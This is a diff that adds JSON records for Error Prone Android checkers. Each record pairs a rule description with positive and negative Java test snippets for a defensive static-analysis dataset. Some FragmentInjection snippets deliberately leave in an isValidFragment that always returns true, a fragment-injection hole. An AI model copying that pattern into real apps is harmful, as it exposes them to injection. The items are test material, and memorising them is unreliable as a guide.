return a.equals(E.A);\n }\n return true;\n }\n }" + }, + { + "description": "nullableConstant", + "expected-problems": null, + "expected-linenumbers": [ + 305 + ], + "code": "class Test {\n private static final String CONST = null;\n\n public static boolean f() {\n return CONST != null;\n }\n }" + }, + { + "description": "nullableYodaCondition", + "expected-problems": null, + "expected-linenumbers": [ + 322 + ], + "code": "class Test {\n private static final String CONST = \"hello\";\n\n public static boolean f(String foo) {\n return null != foo;\n }\n\n public static boolean g() {\n return null != CONST;\n }\n }\n \n\n class Test {\n private static final String CONST = \"hello\";\n\n public static boolean f(String foo) {\n return foo != null;\n }\n\n public static boolean g() {\n return CONST != null;\n }\n }" + }, + { + "description": "unqualified", + "expected-problems": null, + "expected-linenumbers": [ + 358 + ], + "code": "import com.google.common.base.Objects;\n\n class Test {\n @Override\n public boolean equals(Object other) {\n return Objects.equal(this, other);\n }\n\n public boolean foo(Object other) {\n return equals(other);\n }\n }" + }, + { + "description": "negativeSdkInt", + "expected-problems": null, + "expected-linenumbers": [ + 380 + ], + "code": "package android.os;\n\n public class Build {\n public static class VERSION {\n public static final int SDK_INT = 0;\n }\n }\n \n\n import android.os.Build;\n\n class Test {\n public boolean foo(int x) {\n return Build.VERSION.SDK_INT < x;\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/android/BinderIdentityRestoredDangerously.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/android/BinderIdentityRestoredDangerously.json new file mode 100644 index 0000000..9e214e3 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/android/BinderIdentityRestoredDangerously.json @@ -0,0 +1,30 @@ +{ + "name": "BinderIdentityRestoredDangerously", + "language": "java", + "description": "A call to Binder.clearCallingIdentity() should be followed by Binder.restoreCallingIdentity() in a finally block. Otherwise the wrong Binder identity may be used by subsequent code.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 60, + "branches": 6, + "apis": 1, + "test": [ + { + "description": "releasedInFinallyBlock_shouldBeOkay", + "expected-problems": null, + "expected-linenumbers": [ + 48 + ], + "code": "import android.os.Binder;\n\n public class InFinally {\n void foo() {\n long identity = Binder.clearCallingIdentity();\n try {\n // Do something (typically Binder IPC)\n } finally {\n Binder.restoreCallingIdentity(identity);\n }\n }\n }" + }, + { + "description": "releasedInFinallyBlock_shouldWarn", + "expected-problems": null, + "expected-linenumbers": [ + 70 + ], + "code": "import android.os.Binder;\n\n public class InFinally {\n void foo() {\n long identity = Binder.clearCallingIdentity();\n // Do something (typically Binder IPC)\n // BUG: Diagnostic contains: Binder.restoreCallingIdentity() in a finally block\n Binder.restoreCallingIdentity(identity);\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/android/BundleDeserializationCast.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/android/BundleDeserializationCast.json new file mode 100644 index 0000000..6c74cf7 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/android/BundleDeserializationCast.json @@ -0,0 +1,126 @@ +{ + "name": "BundleDeserializationCast", + "language": "java", + "description": "Object serialized in Bundle may have been flattened to base type.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 123, + "branches": 14, + "apis": 1, + "test": [ + { + "description": "positiveCaseGetCustomList", + "expected-problems": null, + "expected-linenumbers": [ + 38 + ], + "code": "import android.os.Bundle;\n import java.util.LinkedList;\n\n public class Test {\n void test() {\n Bundle bundle = new Bundle();\n // BUG: Diagnostic matches: X\n LinkedList myList = (LinkedList) bundle.getSerializable(\"key\");\n }\n }" + }, + { + "description": "positiveCaseGetCustomMap", + "expected-problems": null, + "expected-linenumbers": [ + 63 + ], + "code": "import android.os.Bundle;\n import java.util.Hashtable;\n\n public class Test {\n void test() {\n Bundle bundle = new Bundle();\n // BUG: Diagnostic matches: X\n Hashtable myMap = (Hashtable) bundle.getSerializable(\"key\");\n }\n }" + }, + { + "description": "negativeCaseGetArrayList", + "expected-problems": null, + "expected-linenumbers": [ + 88 + ], + "code": "import android.os.Bundle;\n import java.util.ArrayList;\n\n public class Test {\n void test() {\n Bundle bundle = new Bundle();\n ArrayList myList = (ArrayList) bundle.getSerializable(\"key\");\n }\n }" + }, + { + "description": "negativeCaseGetHashMap", + "expected-problems": null, + "expected-linenumbers": [ + 107 + ], + "code": "import android.os.Bundle;\n import java.util.HashMap;\n\n public class Test {\n void test() {\n Bundle bundle = new Bundle();\n HashMap myMap = (HashMap) bundle.getSerializable(\"key\");\n }\n }" + }, + { + "description": "negativeCaseGetParcelableList", + "expected-problems": null, + "expected-linenumbers": [ + 126 + ], + "code": "import android.os.Bundle;\n import java.util.List;\n import com.google.errorprone.bugpatterns.android.testdata.CustomParcelableList;\n\n public class Test {\n void test() {\n Bundle bundle = new Bundle();\n CustomParcelableList myList = (CustomParcelableList) bundle.getSerializable(\"key\");\n }\n }" + }, + { + "description": "negativeCaseNoCast", + "expected-problems": null, + "expected-linenumbers": [ + 147 + ], + "code": "import android.os.Bundle;\n\n public class Test {\n void test() {\n Bundle bundle = new Bundle();\n bundle.getSerializable(\"key\");\n }\n }" + }, + { + "description": "negativeCaseOtherCast", + "expected-problems": null, + "expected-linenumbers": [ + 165 + ], + "code": "import android.os.Bundle;\n import java.lang.Integer;\n\n public class Test {\n void test() {\n Bundle bundle = new Bundle();\n Integer myObj = (Integer) bundle.getSerializable(\"key\");\n }\n }" + }, + { + "description": "negativeCaseGetList", + "expected-problems": null, + "expected-linenumbers": [ + 184 + ], + "code": "import android.os.Bundle;\n import java.util.List;\n\n public class Test {\n void test() {\n Bundle bundle = new Bundle();\n List myList = (List) bundle.getSerializable(\"key\");\n }\n }" + }, + { + "description": "negativeCaseGetMap", + "expected-problems": null, + "expected-linenumbers": [ + 203 + ], + "code": "import android.os.Bundle;\n import java.util.Map;\n\n public class Test {\n void test() {\n Bundle bundle = new Bundle();\n Map myMap = (Map) bundle.getSerializable(\"key\");\n }\n }" + }, + { + "description": "negativeCaseGetPrimitive", + "expected-problems": null, + "expected-linenumbers": [ + 222 + ], + "code": "import android.os.Bundle;\n\n public class Test {\n void test() {\n Bundle bundle = new Bundle();\n int myInt = (int) bundle.getSerializable(\"key\");\n }\n }" + }, + { + "description": "negativeCaseGetPrimitiveArray", + "expected-problems": null, + "expected-linenumbers": [ + 240 + ], + "code": "import android.os.Bundle;\n\n public class Test {\n void test() {\n Bundle bundle = new Bundle();\n int[] myArray = (int[]) bundle.getSerializable(\"key\");\n }\n }" + }, + { + "description": "negativeCaseGetReferenceArray", + "expected-problems": null, + "expected-linenumbers": [ + 258 + ], + "code": "import android.os.Bundle;\n import java.util.TreeMap;\n\n public class Test {\n void test() {\n Bundle bundle = new Bundle();\n TreeMap[] myArray = (TreeMap[]) bundle.getSerializable(\"key\");\n }\n }" + }, + { + "description": "positiveCaseGetCustomCharSequenceArray", + "expected-problems": null, + "expected-linenumbers": [ + 277 + ], + "code": "public class CustomCharSequence implements CharSequence {\n @Override\n public int length() {\n return 0;\n }\n\n @Override\n public char charAt(int index) {\n return 0;\n }\n\n @Override\n public CharSequence subSequence(int start, int end) {\n return null;\n }\n }\n \n\n import android.os.Bundle;\n\n public class Test {\n void test() {\n Bundle bundle = new Bundle();\n // BUG: Diagnostic matches: X\n CustomCharSequence[] cs = (CustomCharSequence[]) bundle.getSerializable(\"key\");\n }\n }" + }, + { + "description": "negativeCaseGetStringArray", + "expected-problems": null, + "expected-linenumbers": [ + 321 + ], + "code": "import android.os.Bundle;\n\n public class Test {\n void test() {\n Bundle bundle = new Bundle();\n String[] myArray = (String[]) bundle.getSerializable(\"key\");\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/android/FragmentInjection.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/android/FragmentInjection.json new file mode 100644 index 0000000..1491acb --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/android/FragmentInjection.json @@ -0,0 +1,150 @@ +{ + "name": "FragmentInjection", + "language": "java", + "description": "Classes extending PreferenceActivity must implement isValidFragment such that it does not unconditionally return true to prevent vulnerability to fragment injection attacks.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 139, + "branches": 14, + "apis": 1, + "test": [ + { + "description": "isValidFragmentNotImplementedOnPreferenceActivity", + "expected-problems": null, + "expected-linenumbers": [ + 47 + ], + "code": "import android.preference.PreferenceActivity;\n\n // BUG: Diagnostic contains: does not implement isValidFragment\n class MyPrefActivity extends PreferenceActivity {}" + }, + { + "description": "methodNamedIsValidFragmentButDoesNotOverride", + "expected-problems": null, + "expected-linenumbers": [ + 61 + ], + "code": "import android.preference.PreferenceActivity;\n\n // BUG: Diagnostic contains: does not implement isValidFragment\n class MyPrefActivity extends PreferenceActivity {\n protected boolean isValidFragment(String fragment, String unused) {\n return true;\n }\n }" + }, + { + "description": "isValidFragmentTriviallyImplemented", + "expected-problems": null, + "expected-linenumbers": [ + 79 + ], + "code": "import android.preference.PreferenceActivity;\n\n class MyPrefActivity extends PreferenceActivity {\n // BUG: Diagnostic contains: isValidFragment unconditionally returns true\n protected boolean isValidFragment(String fragment) {\n return true;\n }\n }" + }, + { + "description": "isValidFragmentReturnsConstantField", + "expected-problems": null, + "expected-linenumbers": [ + 97 + ], + "code": "import android.preference.PreferenceActivity;\n\n class MyPrefActivity extends PreferenceActivity {\n static final boolean known = true;\n\n // BUG: Diagnostic contains: isValidFragment unconditionally returns true\n protected boolean isValidFragment(String fragment) {\n return known;\n }\n }" + }, + { + "description": "isValidFragmentReturnsFalse", + "expected-problems": null, + "expected-linenumbers": [ + 117 + ], + "code": "import android.preference.PreferenceActivity;\n\n class MyPrefActivity extends PreferenceActivity {\n protected boolean isValidFragment(String fragment) {\n return false;\n }\n }" + }, + { + "description": "isValidFragmentReturnsBoxedTrue", + "expected-problems": null, + "expected-linenumbers": [ + 134 + ], + "code": "" + }, + { + "description": "isValidFragmentReturnsVariable", + "expected-problems": null, + "expected-linenumbers": [ + 148 + ], + "code": "import android.preference.PreferenceActivity;\n\n class MyPrefActivity extends PreferenceActivity {\n boolean unknown;\n\n protected boolean isValidFragment(String fragment) {\n return unknown;\n }\n }" + }, + { + "description": "isValidFragmentFullyImplemented", + "expected-problems": null, + "expected-linenumbers": [ + 167 + ], + "code": "import android.preference.PreferenceActivity;\n\n class MyPrefActivity extends PreferenceActivity {\n protected boolean isValidFragment(String fragment) {\n if (\"VALID_FRAGMENT\".equals(fragment)) {\n return true;\n }\n return false;\n }\n }" + }, + { + "description": "methodWithSameSignatureImplementedOnOtherClass", + "expected-problems": null, + "expected-linenumbers": [ + 187 + ], + "code": "class MyPrefActivity {\n protected boolean isValidFragment(String fragment) {\n return true;\n }\n }" + }, + { + "description": "isValidFragmentImplementedOnSuperClass", + "expected-problems": null, + "expected-linenumbers": [ + 202 + ], + "code": "import android.preference.PreferenceActivity;\n\n class MySuperPrefActivity extends PreferenceActivity {\n protected boolean isValidFragment(String fragment) {\n if (\"VALID_FRAGMENT\".equals(fragment)) {\n return true;\n }\n return false;\n }\n }" + }, + { + "description": "isValidFragmentImplementedOnAbstractSuperClass", + "expected-problems": null, + "expected-linenumbers": [ + 226 + ], + "code": "import android.preference.PreferenceActivity;\n\n abstract class MySuperPrefActivity extends PreferenceActivity {\n protected boolean isValidFragment(String fragment) {\n if (\"VALID_FRAGMENT\".equals(fragment)) {\n return true;\n }\n return false;\n }\n }" + }, + { + "description": "abstractClassWithoutIsValidFragmentIsOkay", + "expected-problems": null, + "expected-linenumbers": [ + 250 + ], + "code": "" + }, + { + "description": "noIsValidFragmentOnAbstractSuperClassOrImplementation", + "expected-problems": null, + "expected-linenumbers": [ + 261 + ], + "code": "// BUG: Diagnostic contains: does not implement isValidFragment\n class MyPrefActivity extends MyAbstractPrefActivity {}" + }, + { + "description": "isValidFragmentTriviallyImplementedOnAbstractClass", + "expected-problems": null, + "expected-linenumbers": [ + 278 + ], + "code": "import android.preference.PreferenceActivity;\n\n abstract class MyAbstractPrefActivity extends PreferenceActivity {\n // BUG: Diagnostic contains: isValidFragment unconditionally returns true\n protected boolean isValidFragment(String fragment) {\n return true;\n }\n }" + }, + { + "description": "isValidFragmentThrowsExceptionReturnsTrue", + "expected-problems": null, + "expected-linenumbers": [ + 296 + ], + "code": "import android.preference.PreferenceActivity;\n\n class MyPrefActivity extends PreferenceActivity {\n // BUG: Diagnostic contains: isValidFragment unconditionally returns true\n protected boolean isValidFragment(String fragment) {\n if (\"VALID_FRAGMENT\".equals(fragment)) {\n throw new RuntimeException(\"Not a valid fragment!\");\n }\n return true;\n }\n }" + }, + { + "description": "ifTrueElseTrue", + "expected-problems": null, + "expected-linenumbers": [ + 319 + ], + "code": "import android.preference.PreferenceActivity;\n\n class MyPrefActivity extends PreferenceActivity {\n // BUG: Diagnostic contains: isValidFragment unconditionally returns true\n protected boolean isValidFragment(String fragment) {\n if (\"VALID_FRAGMENT\".equals(fragment)) {\n return true;\n }\n return true;\n }\n }" + }, + { + "description": "finalLocalVariableIsConstant", + "expected-problems": null, + "expected-linenumbers": [ + 340 + ], + "code": "import android.preference.PreferenceActivity;\n\n class MyPrefActivity extends PreferenceActivity {\n // BUG: Diagnostic contains: isValidFragment unconditionally returns true\n protected boolean isValidFragment(String fragment) {\n final boolean constTrue = true;\n return constTrue;\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/android/FragmentNotInstantiable.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/android/FragmentNotInstantiable.json new file mode 100644 index 0000000..cbac557 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/android/FragmentNotInstantiable.json @@ -0,0 +1,46 @@ +{ + "name": "FragmentNotInstantiable", + "language": "java", + "description": "Subclasses of Fragment must be instantiable via Class#newInstance(): the class must be public, static and have a public nullary constructor", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 113, + "branches": 11, + "apis": 3, + "test": [ + { + "description": "positiveCases", + "expected-problems": null, + "expected-linenumbers": [ + 46 + ], + "code": "package com.google.errorprone.bugpatterns.android.testdata;\n\n import android.app.Fragment;\n\n /**\n * @author avenet@google.com (Arnaud J. Venet)\n */\n public class FragmentNotInstantiablePositiveCases {\n // BUG: Diagnostic contains: public\n static class PrivateFragment extends Fragment {\n public PrivateFragment() {}\n }\n\n // BUG: Diagnostic contains: public\n static class PrivateV4Fragment extends android.support.v4.app.Fragment {\n public PrivateV4Fragment() {}\n }\n\n public static class PrivateConstructor extends Fragment {\n // BUG: Diagnostic contains: public\n PrivateConstructor() {}\n }\n\n // BUG: Diagnostic contains: nullary constructor\n public static class NoConstructor extends Fragment {\n public NoConstructor(int x) {}\n }\n\n // BUG: Diagnostic contains: nullary constructor\n public static class NoConstructorV4 extends android.support.v4.app.Fragment {\n public NoConstructorV4(int x) {}\n }\n\n public static class ParentFragment extends Fragment {\n public ParentFragment() {}\n }\n\n public static class ParentFragmentV4 extends android.support.v4.app.Fragment {\n public ParentFragmentV4() {}\n }\n\n // BUG: Diagnostic contains: nullary constructor\n public static class DerivedFragmentNoConstructor extends ParentFragment {\n public DerivedFragmentNoConstructor(int x) {}\n }\n\n // BUG: Diagnostic contains: nullary constructor\n public static class DerivedFragmentNoConstructorV4 extends ParentFragmentV4 {\n public DerivedFragmentNoConstructorV4(boolean b) {}\n }\n\n public class EnclosingClass {\n // BUG: Diagnostic contains: static\n public class InnerFragment extends Fragment {\n public InnerFragment() {}\n }\n\n public Fragment create1() {\n // BUG: Diagnostic contains: public\n return new Fragment() {};\n }\n\n public Fragment create2() {\n // BUG: Diagnostic contains: public\n class LocalFragment extends Fragment {}\n return new LocalFragment();\n }\n }\n }\\" + }, + { + "description": "negativeCase", + "expected-problems": null, + "expected-linenumbers": [ + 125 + ], + "code": "package com.google.errorprone.bugpatterns.android.testdata;\n\n import android.app.Fragment;\n\n /**\n * @author avenet@google.com (Arnaud J. Venet)\n */\n public class FragmentNotInstantiableNegativeCases {\n public static class NotAFragment1 {\n public NotAFragment1(int x) {}\n }\n\n public static class NotAFragment2 {\n private NotAFragment2() {}\n }\n\n private static class NotAFragment3 {}\n\n public class NotAFragment4 {}\n\n private abstract class AbstractFragment extends Fragment {\n public AbstractFragment(int x) {}\n }\n\n private abstract class AbstractV4Fragment extends android.support.v4.app.Fragment {\n private int a;\n\n public int value() {\n return a;\n }\n }\n\n public static class MyFragment extends Fragment {\n private int a;\n\n public int value() {\n return a;\n }\n }\n\n public static class DerivedFragment extends MyFragment {}\n\n public static class MyV4Fragment extends android.support.v4.app.Fragment {}\n\n public static class DerivedV4Fragment extends MyV4Fragment {\n private int a;\n\n public int value() {\n return a;\n }\n }\n\n public static class MyFragment2 extends Fragment {\n public MyFragment2() {}\n\n public MyFragment2(int x) {}\n }\n\n public static class DerivedFragment2 extends MyFragment2 {\n public DerivedFragment2() {}\n\n public DerivedFragment2(boolean b) {}\n }\n\n public static class EnclosingClass {\n public static class InnerFragment extends Fragment {\n public InnerFragment() {}\n }\n }\n\n interface AnInterface {\n public class ImplicitlyStaticInnerFragment extends Fragment {}\n\n class ImplicitlyStaticAndPublicInnerFragment extends Fragment {}\n }\n }\\" + }, + { + "description": "positiveCases_custom", + "expected-problems": null, + "expected-linenumbers": [ + 211 + ], + "code": "package com.google.errorprone.bugpatterns.android.testdata;\n\n import android.app.Fragment;\n\n /**\n * @author avenet@google.com (Arnaud J. Venet)\n */\n public class FragmentNotInstantiablePositiveCases {\n // BUG: Diagnostic contains: public\n static class PrivateFragment extends Fragment {\n public PrivateFragment() {}\n }\n\n // BUG: Diagnostic contains: public\n static class PrivateV4Fragment extends android.support.v4.app.Fragment {\n public PrivateV4Fragment() {}\n }\n\n public static class PrivateConstructor extends Fragment {\n // BUG: Diagnostic contains: public\n PrivateConstructor() {}\n }\n\n // BUG: Diagnostic contains: nullary constructor\n public static class NoConstructor extends Fragment {\n public NoConstructor(int x) {}\n }\n\n // BUG: Diagnostic contains: nullary constructor\n public static class NoConstructorV4 extends android.support.v4.app.Fragment {\n public NoConstructorV4(int x) {}\n }\n\n public static class ParentFragment extends Fragment {\n public ParentFragment() {}\n }\n\n public static class ParentFragmentV4 extends android.support.v4.app.Fragment {\n public ParentFragmentV4() {}\n }\n\n // BUG: Diagnostic contains: nullary constructor\n public static class DerivedFragmentNoConstructor extends ParentFragment {\n public DerivedFragmentNoConstructor(int x) {}\n }\n\n // BUG: Diagnostic contains: nullary constructor\n public static class DerivedFragmentNoConstructorV4 extends ParentFragmentV4 {\n public DerivedFragmentNoConstructorV4(boolean b) {}\n }\n\n public class EnclosingClass {\n // BUG: Diagnostic contains: static\n public class InnerFragment extends Fragment {\n public InnerFragment() {}\n }\n\n public Fragment create1() {\n // BUG: Diagnostic contains: public\n return new Fragment() {};\n }\n\n public Fragment create2() {\n // BUG: Diagnostic contains: public\n class LocalFragment extends Fragment {}\n return new LocalFragment();\n }\n }\n }\\\n \n\n package com.google.errorprone.bugpatterns.android.testdata;\n\n /**\n * @author jasonlong@google.com (Jason Long)\n */\n public class CustomFragment {}\\\n \n\n package com.google.errorprone.bugpatterns.android.testdata;\n\n /**\n * @author jasonlong@google.com (Jason Long)\n */\n public class CustomFragmentNotInstantiablePositiveCases {\n // BUG: Diagnostic contains: public\n static class PrivateFragment extends CustomFragment {\n public PrivateFragment() {}\n }\n\n public static class PrivateConstructor extends CustomFragment {\n // BUG: Diagnostic contains: public\n PrivateConstructor() {}\n }\n\n // BUG: Diagnostic contains: nullary constructor\n public static class NoConstructor extends CustomFragment {\n public NoConstructor(int x) {}\n }\n\n // BUG: Diagnostic contains: nullary constructor\n public static class NoConstructorV4 extends android.support.v4.app.Fragment {\n public NoConstructorV4(int x) {}\n }\n\n public static class ParentFragment extends CustomFragment {\n public ParentFragment() {}\n }\n\n public static class ParentFragmentV4 extends android.support.v4.app.Fragment {\n public ParentFragmentV4() {}\n }\n\n // BUG: Diagnostic contains: nullary constructor\n public static class DerivedFragmentNoConstructor extends ParentFragment {\n public DerivedFragmentNoConstructor(int x) {}\n }\n\n // BUG: Diagnostic contains: nullary constructor\n public static class DerivedFragmentNoConstructorV4 extends ParentFragmentV4 {\n public DerivedFragmentNoConstructorV4(boolean b) {}\n }\n\n public class EnclosingClass {\n // BUG: Diagnostic contains: static\n public class InnerFragment extends CustomFragment {\n public InnerFragment() {}\n }\n\n public CustomFragment create1() {\n // BUG: Diagnostic contains: public\n return new CustomFragment() {};\n }\n\n public CustomFragment create2() {\n // BUG: Diagnostic contains: public\n class LocalFragment extends CustomFragment {}\n return new LocalFragment();\n }\n }\n }\\" + }, + { + "description": "negativeCase_custom", + "expected-problems": null, + "expected-linenumbers": [ + 366 + ], + "code": "package com.google.errorprone.bugpatterns.android.testdata;\n\n import android.app.Fragment;\n\n /**\n * @author avenet@google.com (Arnaud J. Venet)\n */\n public class FragmentNotInstantiableNegativeCases {\n public static class NotAFragment1 {\n public NotAFragment1(int x) {}\n }\n\n public static class NotAFragment2 {\n private NotAFragment2() {}\n }\n\n private static class NotAFragment3 {}\n\n public class NotAFragment4 {}\n\n private abstract class AbstractFragment extends Fragment {\n public AbstractFragment(int x) {}\n }\n\n private abstract class AbstractV4Fragment extends android.support.v4.app.Fragment {\n private int a;\n\n public int value() {\n return a;\n }\n }\n\n public static class MyFragment extends Fragment {\n private int a;\n\n public int value() {\n return a;\n }\n }\n\n public static class DerivedFragment extends MyFragment {}\n\n public static class MyV4Fragment extends android.support.v4.app.Fragment {}\n\n public static class DerivedV4Fragment extends MyV4Fragment {\n private int a;\n\n public int value() {\n return a;\n }\n }\n\n public static class MyFragment2 extends Fragment {\n public MyFragment2() {}\n\n public MyFragment2(int x) {}\n }\n\n public static class DerivedFragment2 extends MyFragment2 {\n public DerivedFragment2() {}\n\n public DerivedFragment2(boolean b) {}\n }\n\n public static class EnclosingClass {\n public static class InnerFragment extends Fragment {\n public InnerFragment() {}\n }\n }\n\n interface AnInterface {\n public class ImplicitlyStaticInnerFragment extends Fragment {}\n\n class ImplicitlyStaticAndPublicInnerFragment extends Fragment {}\n }\n }\\\n \n\n package com.google.errorprone.bugpatterns.android.testdata;\n\n /**\n * @author jasonlong@google.com (Jason Long)\n */\n public class CustomFragment {}\\\n \n\n package com.google.errorprone.bugpatterns.android.testdata;\n\n /**\n * @author jasonlong@google.com (Jason Long)\n */\n public class CustomFragmentNotInstantiableNegativeCases {\n public static class NotAFragment1 {\n public NotAFragment1(int x) {}\n }\n\n public static class NotAFragment2 {\n private NotAFragment2() {}\n }\n\n private static class NotAFragment3 {}\n\n public class NotAFragment4 {}\n\n private abstract class AbstractFragment extends CustomFragment {\n public AbstractFragment(int x) {}\n }\n\n public static class MyFragment extends CustomFragment {\n private int a;\n\n public int value() {\n return a;\n }\n }\n\n public static class DerivedFragment extends MyFragment {}\n\n public static class MyFragment2 extends CustomFragment {\n public MyFragment2() {}\n\n public MyFragment2(int x) {}\n }\n\n public static class DerivedFragment2 extends MyFragment2 {\n public DerivedFragment2() {}\n\n public DerivedFragment2(boolean b) {}\n }\n\n public static class EnclosingClass {\n public static class InnerFragment extends CustomFragment {\n public InnerFragment() {}\n }\n }\n\n interface AnInterface {\n public class ImplicitlyStaticInnerFragment extends CustomFragment {}\n\n class ImplicitlyStaticAndPublicInnerFragment extends CustomFragment {}\n }\n }\\" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/android/HardCodedSdCardPath.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/android/HardCodedSdCardPath.json new file mode 100644 index 0000000..62be99e --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/android/HardCodedSdCardPath.json @@ -0,0 +1,38 @@ +{ + "name": "HardCodedSdCardPath", + "language": "java", + "description": "Hardcoded reference to /sdcard", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 86, + "branches": 12, + "apis": 1, + "test": [ + { + "description": "matchingCode_onAndroid", + "expected-problems": null, + "expected-linenumbers": [ + 33 + ], + "code": "package com.google.errorprone.bugpatterns.android.testdata;\n\n /**\n * @author avenet@google.com (Arnaud J. Venet)\n */\n public class HardCodedSdCardPathPositiveCases {\n // BUG: Diagnostic contains: Environment\n static final String PATH1 = \"/sdcard\";\n\n // BUG: Diagnostic contains: Environment\n static final String PATH2 = \"/sdcard/file1\";\n\n // BUG: Diagnostic contains: Environment\n static final String PATH3 = \"/mnt/sdcard/file2\";\n\n // BUG: Diagnostic contains: Environment\n static final String PATH4 = \"/\" + \"sd\" + \"card\";\n\n // BUG: Diagnostic contains: Environment\n static final String PATH5 = \"/system/media/sdcard\";\n\n // BUG: Diagnostic contains: Environment\n static final String PATH6 = \"/system/media/sdcard/file3\";\n\n // BUG: Diagnostic contains: Environment\n static final String PATH7 = \"file://sdcard/file2\";\n\n // BUG: Diagnostic contains: Environment\n static final String PATH8 = \"file:///sdcard/file2\";\n\n // BUG: Diagnostic contains: Context\n static final String PATH9 = \"/data/data/dir/file\";\n\n // BUG: Diagnostic contains: Context\n static final String PATH10 = \"/data/user/file1\";\n\n static final String FRAGMENT1 = \"/data\";\n\n static final String FRAGMENT2 = \"/user\";\n\n // BUG: Diagnostic contains: Context\n static final String PATH11 = \"/data\" + \"/\" + \"user\";\n }\\" + }, + { + "description": "matchingCode_notOnAndroid", + "expected-problems": null, + "expected-linenumbers": [ + 87 + ], + "code": "public class HardCodedSdCardPathMatchingCode {\n static final String PATH1 = \"/sdcard\";\n }" + }, + { + "description": "negativeCase", + "expected-problems": null, + "expected-linenumbers": [ + 101 + ], + "code": "package com.google.errorprone.bugpatterns.android.testdata;\n\n /**\n * @author avenet@google.com (Arnaud J. Venet)\n */\n public class HardCodedSdCardPathNegativeCases {\n static final String PATH1 = \"/home/sdcard\";\n\n static final String PATH2 = \"/data/file1\";\n\n static final String FRAGMENT1 = \"/root\";\n\n static final String FRAGMENT2 = \"sdcard\";\n\n static final String PATH3 = FRAGMENT1 + \"/\" + FRAGMENT2;\n\n static final String PATH4 = \"/data/dir/file2\";\n\n static final String FRAGMENT3 = \"/data\";\n\n static final String FRAGMENT4 = \"1user\";\n\n static final String PATH5 = FRAGMENT3 + \"/\" + FRAGMENT4;\n }\\" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/android/IsLoggableTagLength.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/android/IsLoggableTagLength.json new file mode 100644 index 0000000..b029904 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/android/IsLoggableTagLength.json @@ -0,0 +1,110 @@ +{ + "name": "IsLoggableTagLength", + "language": "java", + "description": "Log tag too long, cannot exceed 23 characters.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 110, + "branches": 10, + "apis": 1, + "test": [ + { + "description": "negativeCaseLiteral", + "expected-problems": null, + "expected-linenumbers": [ + 48 + ], + "code": "import android.util.Log;\n\n class Test {\n public void log() {\n Log.isLoggable(\"SHORT_ENOUGH\", Log.INFO);\n }\n }" + }, + { + "description": "positiveCaseLiteral", + "expected-problems": null, + "expected-linenumbers": [ + 65 + ], + "code": "import android.util.Log;\n\n class Test {\n public void log() {\n // BUG: Diagnostic contains: IsLoggableTagLength\n Log.isLoggable(\"THIS_TAG_NAME_IS_WAY_TOO_LONG\", Log.INFO);\n }\n }" + }, + { + "description": "negativeCaseLiteralUnicode", + "expected-problems": null, + "expected-linenumbers": [ + 83 + ], + "code": "import android.util.Log;\n\n class Test {\n public void log() {\n Log.isLoggable(\"🚀🚀🚀🚀\", Log.INFO);\n }\n }" + }, + { + "description": "positiveCaseLiteralUnicode", + "expected-problems": null, + "expected-linenumbers": [ + 100 + ], + "code": "import android.util.Log;\n\n class Test {\n public void log() {\n // BUG: Diagnostic contains: IsLoggableTagLength\n Log.isLoggable(\"☔☔☔☔☔☔☔☔☔☔☔☔\", Log.INFO);\n }\n }" + }, + { + "description": "negativeCaseFinalField", + "expected-problems": null, + "expected-linenumbers": [ + 118 + ], + "code": "import android.util.Log;\n\n class Test {\n static final String TAG = \"SHORT_ENOUGH\";\n\n public void log() {\n Log.isLoggable(TAG, Log.INFO);\n }\n }" + }, + { + "description": "positiveCaseFinalField", + "expected-problems": null, + "expected-linenumbers": [ + 137 + ], + "code": "import android.util.Log;\n\n class Test {\n static final String TAG = \"THIS_TAG_NAME_IS_WAY_TOO_LONG\";\n\n public void log() {\n // BUG: Diagnostic contains: IsLoggableTagLength\n Log.isLoggable(TAG, Log.INFO);\n }\n }" + }, + { + "description": "negativeCaseClassName", + "expected-problems": null, + "expected-linenumbers": [ + 157 + ], + "code": "import android.util.Log;\n\n class Test {\n public void log() {\n Log.isLoggable(Test.class.getSimpleName(), Log.INFO);\n }\n }" + }, + { + "description": "positiveCaseClassName", + "expected-problems": null, + "expected-linenumbers": [ + 174 + ], + "code": "import android.util.Log;\n\n class ThisClassNameIsWayTooLong {\n public void log() {\n // BUG: Diagnostic contains: IsLoggableTagLength\n Log.isLoggable(ThisClassNameIsWayTooLong.class.getSimpleName(), Log.INFO);\n }\n }" + }, + { + "description": "negativeCaseFinalFieldClassName", + "expected-problems": null, + "expected-linenumbers": [ + 192 + ], + "code": "import android.util.Log;\n\n class Test {\n static final String TAG = Test.class.getSimpleName();\n\n public void log() {\n 